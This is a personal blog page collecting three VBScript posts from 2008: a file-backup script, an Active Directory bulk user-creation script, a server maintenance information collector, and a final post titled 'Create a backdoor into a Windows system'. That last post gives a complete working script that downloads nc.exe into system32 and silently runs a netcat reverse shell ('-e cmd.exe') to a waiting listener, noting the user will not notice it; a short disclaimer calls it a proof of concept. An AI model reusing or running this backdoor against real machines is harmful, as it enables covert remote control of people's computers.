Allan Feid - vbscript

Useful Administrative Scripts

Allan Feid — Wed, 19 Nov 2008 03:20:20 +0000

On this page is a few simple scripts I've worked on and probably something all network admins should have in some form. It will make life easier trust me.

Backup Files for Workstation Rebuild/Migration
Add a list of users to Active Directory from a text file

Backup Files for Workstation Rebuild/Migration

Here's a script I wrote while working as an intern at IND Corp. It's pretty straight forward. What it does is copy files from one location to another by file extension. It also creates a list of printers that are installed and backs up all local user's Favorites folder.

For i = 0 To Ubound(arrFileTypes)
	WScript.Echo "Copying all " & arrFileTypes(i) & " files..."
	Log arrFileTypes(i) & " files"
	Log "-------------------------------------------------------------------"
	Set objScriptExec = objShell.Exec("xcopy " & source & "\*." & arrFileTypes(i) & " c:\back /C /Y /S")
	Log objScriptExec.StdOut.ReadAll
Next

The loop that copies all the files

If you look at the snippet above you can see it just uses the built in program called xcopy to copy all the files from the source to the destination. The script will actually use input boxes to retrieve the source and destination.

This script dose have a few limitations. You cannot set the source to say C: and the destination to C:\backup. This is because of how xcopy works. It will recursively scan C: and it can't copy the files to somewhere that it will be searching for files. Typically, as an administrator you should be backing up to a network share or external drive anyway so this isn't that big of a deal.

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
	& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colInstalledPrinters =  objWMIService.ExecQuery _
	("Select * from Win32_Printer")

' loop through printers and output to file
WScript.Echo "Creating list of printers..."
Log "Installed Printers"
Log "-------------------------------------------------------------------"
For Each objPrinter in colInstalledPrinters
	Log(objPrinter.name)
Next

Query WMI for the installed printesr

Above you see how the script looks at WMI for all the installed printers and just uses the Log function to output it to the output file. Which in this case is called _output.txt and stored in the backup destination. This file will tell you everything that was backed up and give you the printer list.

Downloads: Sample Output, Script Source, Basic Instructions

Add a list of users to Active Directory from a text file

Features:

Adds users from a specified text file
creates a log file to keep track of what is happening
Writes to Event Log on successful creation of a user
Automatically generates config file if none is present (must be edited to use properly)
Easy to configure for people who don't know anything about scripting
Ability to assign what OU to store the user in
Various options for configuring how a user is added
Checks for username conflicts then adds integer to create a unique username

This script will save you tons of time when your company decides to hire a whole bunch of people. Chances are your company will have everything about the new hires in a database. Well with a simple database query you can create a comma separated list to be used with this script. I put a lot of time into this one to make it the most user friendly (well for people that know what they're doing) as possible. Upon first run it creates a configuration file. Which looks something like this:

# signifies a comment

#Path to text file containing user information
user_file=users.txt

#Path to OU where new users are added, read README.txt for more info
ou_path=ou=OU, ou=To, ou=Path

#Fully Qualified Domain Name
domain=example.com

#Default password for new users
default_password=ChangePass1

#force user to change password at next logon
force_change=1

#create account disabled
account_disabled=1

This really allows it to be used on any network since nothing is hard coded. All the settings are loaded into a dictionary object and called upon when needed.

There's also some nice error checking built in that will test to see if a username is already taken. If it is it tries appending an integer and increases it by 1 until it finds a unique username. The naming scheme I used was first initial + last name. It also fills in the users address and phone number.

Downloads: Read me first!, Script Source, Example User List

Back to my projects

Collect Server Maintenance Information

Allan Feid — Tue, 18 Nov 2008 21:35:32 +0000

This was the first real VBScript I used on the job. I wrote this while I held an intern position at an IT outsourcing company called Innovative Network Design (IND) Corporation in Parsippany, NJ. The reason I wrote it is simple, they kept assigning me to collect specific information from various client servers. So why keep doing it manually? I wrote this code and the employees actually still use it.

Project Overview:

Using VBScript I was able to come up with a way to create a file that shows administrators key information about a Windows Server 2003 machine. There is also a lot of error checking going on behind the scenes and a few things the script user must input before anything happens.

Key VBScript Concepts:

Ability to query WMI for various objects
Extensive error checking
Use of UNC (\\server\share) file paths to allow remote execution
Completely modular, all tasks are in their own procedure

User Input Required:

Upon starting the script it will ask you where you'd like to backup the Event Logs to along with your initials. The company I was working for did not have a standard place to back up the logs to so it had to be flexible. Also, as a standard practice we would append our initials to the end of the log file name.

Ask for a valid directory and check if it exists

' ask user for backup log location
Dim i
i = 0
Do While CheckFolderExists(usrFileLoc) = False
	If i = 0 Then
		usrFileLoc = InputBox _
			("Directory to backup Log files to:", _
			"Input Required")
	Else
		usrFileLoc = InputBox _
			("Invalid Directory..." & vbCrLf & _
			"Directory to backup Log files to:",  _
			"Input Required")
	End If
	i = i + 1
Loop

Ask the user for his/her initials

' ask user for initials
Do While strInitials = ""
	strInitials = InputBox("What are your initials?", _
		"Input Required")
Loop

Error Checking Capabilities:

The script will create an dictionary of all the available WMI objects available on the system and before trying to query each WMI object it checks if the WMI object exists in the dictionary. Then log the error to a second dictionary object. At the end of the script it will tell you what problems it encountered or tell you everything ran successfully. The below code shows an example of what is going on before trying to query WMI.

' check the dictionary objWMIClasses for "Win32_NTLogEvent"
If objWMIClasses.Exists("Win32_NTLogEvent") Then
     ' run the code to check event logs
End If

The User Interface:

The user interface is entirely command line based. This is used to show progress as the script runs. It can take some time to complete if there are a lot of logs on the system or a lot of partitions (it has to run disk analysis on each one) so this interface gives you a good idea about what is going on.

When you see an "X" that means the item completed successfully while as a "!!" means there was an error while checking that individual item. When there is an error you will be shown more information at the end of the script as shown below.

Output File:

The output file is in Rich Text Format (.rtf) for issues related to the company I was working for at the time. To take a look at a full example download an example output file.

Source Code and Read Me files:

Below you can obtain the actual script along with the read me file. The read me file contains a change log which shows my progress.

Download Source Code
Download README file

Watch the script in action:

All Information Gathered:
Here's a list of everything that is gathered

Operating System

Name
Version
Service Pack

CPU Info (listed per core)

Clock speed
Manufacture
Type
Current load

Memory Information

RAM slot number
Memory size
Speed
Type

Hard Drive Info

Model
Drive size
Drive type
Number of partitions

Volume name
Volume size
Cluster size
Used space
Free space
Percent free space
Total fragmentation
Disk Analysis defrag recommendation output

List of errors in the Device Manager

Error message and name

Parsing of all Event Logs on the system

Each unique error outputs the following

Total times this error occurred
Category
Computer Name
Event Code
Message
Record Number
Source Name
Time Written
Event Type
User

Anti-Virus information (if Symantec AV is installed)

Date last updated definitions
Parent Server
Client Group
Product Version
Scan Engine

Windows Updates available

Number of high, normal, and low priority available

Back to my projects

Create a backdoor into a Windows system

Allan Feid — Tue, 18 Nov 2008 00:37:27 +0000

Using VBScript and netcat it is quite simple to create a basic backdoor into a users system with the priviledges of the user that ran the script. It's a very basic concept and all it does it download the netcat program (nc.exe) from a trusted website into the users c:\windows\system32 folder. What this does is allow you to run netcat from the command line without dealing with the full location of nc.exe. Once the file is in the system32 folder it can simple be run from any command prompt.

***This is a proof of concept and should not be used for illegal purposes. Only use this in your own test environment and I take no responsibility if you mess something up with this***

To set this up, you need to have a computer running netcat waiting for the incomming connection. To do that just run a simple command such as:

nc -l 1337

That's when we tell the script to run the following netcat command:

nc -d 10.0.0.8 1337 -e cmd.exe

What this does is tell netcat to connect to the IP 10.0.0.8 on TCP port 1337. The -e switch tells netcat to execute cmd.exe and output it to the server waiting for the connection. The -d switch tells netcat to run in the background in a Windows environment. The user won't even know it's running without checking the process list.

Here's an example script that will automatically download nc.exe, write it to c:\windows\system32 and then execute the netcat command to connect to the remote server:

' Set your settings
    strFileURL = "http://10.0.0.10/nc.exe"
    strHDLocation = "C:\WINDOWS\system32\nc.exe"
 
' Fetch the file
    Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
 
    objXMLHTTP.open "GET", strFileURL, false
    objXMLHTTP.send()
 
    If objXMLHTTP.Status = 200 Then
      Set objADOStream = CreateObject("ADODB.Stream")
      objADOStream.Open
      objADOStream.Type = 1 'adTypeBinary
 
      objADOStream.Write objXMLHTTP.ResponseBody
      objADOStream.Position = 0    'Set the stream position to the start
 
      Set objFSO = Createobject("Scripting.FileSystemObject")
        If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
      Set objFSO = Nothing
 
      objADOStream.SaveToFile strHDLocation
      objADOStream.Close
      Set objADOStream = Nothing
    End if
 
    Set objXMLHTTP = Nothing

Set objShell = CreateObject("WScript.Shell")

' Execute the connection
objShell.Exec("nc -d 10.0.0.8 1337 -e cmd.exe")

Back to my projects

Allan Feid - vbscript

Useful Administrative Scripts

Tags:

Collect Server Maintenance Information

Tags:

Create a backdoor into a Windows system

Tags: